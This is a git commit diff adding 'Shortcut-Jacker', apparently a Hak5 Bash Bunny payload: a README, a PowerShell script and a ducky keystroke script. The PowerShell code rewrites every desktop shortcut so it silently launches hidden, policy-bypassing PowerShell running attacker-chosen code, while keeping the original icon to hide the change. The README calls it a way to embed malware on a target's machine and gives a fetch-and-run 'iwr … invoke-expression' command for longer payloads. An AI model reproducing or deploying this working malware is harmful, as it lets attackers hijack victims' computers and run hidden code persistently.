Add files via upload
parent
eda34bd6bf
commit
92e76d35fc
|
@ -0,0 +1,144 @@
|
|||
![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)
|
||||
|
||||
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||
|
||||
<h1 align="center">
|
||||
<a href="https://git.io/typing-svg">
|
||||
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Shortcut+Jacker!+😈¢er=true&size=30">
|
||||
</a>
|
||||
</h1>
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# Shortcut Jacker
|
||||
|
||||
<p align="left">
|
||||
<a href="https://www.youtube.com/watch?v=sOLIdqpzrW4">
|
||||
<img src=https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/SCJ-TV2.png width="300" alt="Python" />
|
||||
</a>
|
||||
<br>YouTube Tutorial
|
||||
</p>
|
||||
|
||||
A script used to embed malware in the shortcut on your targets desktop
|
||||
|
||||
## Description
|
||||
|
||||
This payload will run a powershell script in the background of any shortcut used on the targets desktop
|
||||
|
||||
This is done by taking advantage of the ```Target``` field where powershell commands can be stored or run.
|
||||
|
||||
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the ```$code``` variable and it will still run.
|
||||
|
||||
So if your command exceeds that consider using an IWR function to download and execute a longer script.
|
||||
|
||||
I have an Invoke WebRequest tutorial for that [HERE](https://www.youtube.com/watch?v=bPkBzyEnr-w&list=PL3NRVyAumvmppdfMFMUzMug9Cn_MtF6ub&index=13)
|
||||
|
||||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/properties.jpg" width="300">
|
||||
|
||||
Inside the .ps1 file you will find a line at the beginning with a ```$code``` variable. This is where the powershell code you want executed is stored.
|
||||
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/code.jpg" width="900">
|
||||
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Using the ```Get-Shortcut``` function we will get the following information we can then use to maintain the integrity of the appearance of the shortcut after manipulating the ```Target``` field.
|
||||
|
||||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/shortcut.jpg" width="900">
|
||||
|
||||
## Getting Started
|
||||
|
||||
Once the script is executed all of the shortcuts on your target's desktop will be infected with the powershell code you have stored in the `$code` variable in the .ps1 file
|
||||
|
||||
### Dependencies
|
||||
|
||||
* An internet connection
|
||||
* Windows 10,11
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
|
||||
```
|
||||
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||
```
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<h2 align="center">📱 My Socials 📱</h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||
</a>
|
||||
<br>YouTube
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://twitter.com/I_Am_Jakoby">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||
</a>
|
||||
<br>Twitter
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||
</a>
|
||||
<br>Instagram
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://discord.gg/MYYER2ZcJF">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>Discord
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [MG](https://github.com/OMG-MG)
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||
</p>
|
|
@ -0,0 +1,118 @@
|
|||
############################################################################################################################################################
|
||||
# | ___ _ _ _ # ,d88b.d88b #
|
||||
# Title : Shortcut-Jacker | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||
# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||
# # / \ / ~ \ #
|
||||
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||
############################################################################################################################################################
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
This is payload used to inject powershell code into shortcuts
|
||||
|
||||
.DESCRIPTION
|
||||
This payload will gather information on the shortcuts on your targets desktop
|
||||
That data will then be manipulated to embed a powershell script
|
||||
This script will be ran in the background when the short cut is
|
||||
|
||||
#>
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
<#
|
||||
.NOTES
|
||||
The powershell code stored in this variable is what will run in the background
|
||||
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the $code
|
||||
variable and it will still run.
|
||||
#>
|
||||
|
||||
$code = "Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('Hacked')"
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Get-Shortcut {
|
||||
param(
|
||||
$path = $null
|
||||
)
|
||||
|
||||
$obj = New-Object -ComObject WScript.Shell
|
||||
|
||||
if ($path -eq $null) {
|
||||
$pathUser = [System.Environment]::GetFolderPath('StartMenu')
|
||||
$pathCommon = $obj.SpecialFolders.Item('AllUsersStartMenu')
|
||||
$path = dir $pathUser, $pathCommon -Filter *.lnk -Recurse
|
||||
}
|
||||
if ($path -is [string]) {
|
||||
$path = dir $path -Filter *.lnk
|
||||
}
|
||||
$path | ForEach-Object {
|
||||
if ($_ -is [string]) {
|
||||
$_ = dir $_ -Filter *.lnk
|
||||
}
|
||||
if ($_) {
|
||||
$link = $obj.CreateShortcut($_.FullName)
|
||||
|
||||
$info = @{}
|
||||
$info.Hotkey = $link.Hotkey
|
||||
$info.TargetPath = $link.TargetPath
|
||||
$info.LinkPath = $link.FullName
|
||||
$info.Arguments = $link.Arguments
|
||||
$info.Target = try {Split-Path $info.TargetPath -Leaf } catch { 'n/a'}
|
||||
$info.Link = try { Split-Path $info.LinkPath -Leaf } catch { 'n/a'}
|
||||
$info.WindowStyle = $link.WindowStyle
|
||||
$info.IconLocation = $link.IconLocation
|
||||
|
||||
return $info
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Set-Shortcut {
|
||||
param(
|
||||
[Parameter(ValueFromPipelineByPropertyName=$true)]
|
||||
$LinkPath,
|
||||
$IconLocation,
|
||||
$Arguments,
|
||||
$TargetPath
|
||||
)
|
||||
begin {
|
||||
$shell = New-Object -ComObject WScript.Shell
|
||||
}
|
||||
|
||||
process {
|
||||
$link = $shell.CreateShortcut($LinkPath)
|
||||
|
||||
$PSCmdlet.MyInvocation.BoundParameters.GetEnumerator() |
|
||||
Where-Object { $_.key -ne 'LinkPath' } |
|
||||
ForEach-Object { $link.$($_.key) = $_.value }
|
||||
$link.Save()
|
||||
}
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
function hijack{
|
||||
$Link = $i.LinkPath
|
||||
$Loc = $i.IconLocation
|
||||
$TargetPath = $i.TargetPath
|
||||
if($Loc.length -lt 4){$Loc = "$TargetPath$Loc"}
|
||||
$Target = $i.Target
|
||||
if(Test-Path -Path "$Link" -PathType Leaf){Set-Shortcut -LinkPath "$Link" -IconLocation "$Loc" -Arguments "-w h -NoP -NonI -Exec Bypass start-process '$TargetPath';$code" -TargetPath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"}
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
Get-ChildItem –Path "$Env:USERPROFILE\Desktop" -Filter *.lnk |Foreach-Object {$i = Get-Shortcut $_.FullName;hijack $_.FullName}
|
|
@ -0,0 +1,20 @@
|
|||
REM Title: Shortcut-Jacker
|
||||
|
||||
REM Author: I am Jakoby
|
||||
|
||||
REM Description: This payload will run a powershell script in the background of any shortcut used on the targets desktop
|
||||
|
||||
REM Target: Windows 10, 11
|
||||
|
||||
GET SWITCH_POSITION
|
||||
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
LED STAGE1
|
||||
|
||||
QUACK DELAY 3000
|
||||
QUACK GUI r
|
||||
QUACK DELAY 100
|
||||
LED STAGE2
|
||||
QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Shortcut-Jacker.ps1')"
|
||||
QUACK ENTER
|
Loading…
Reference in New Issue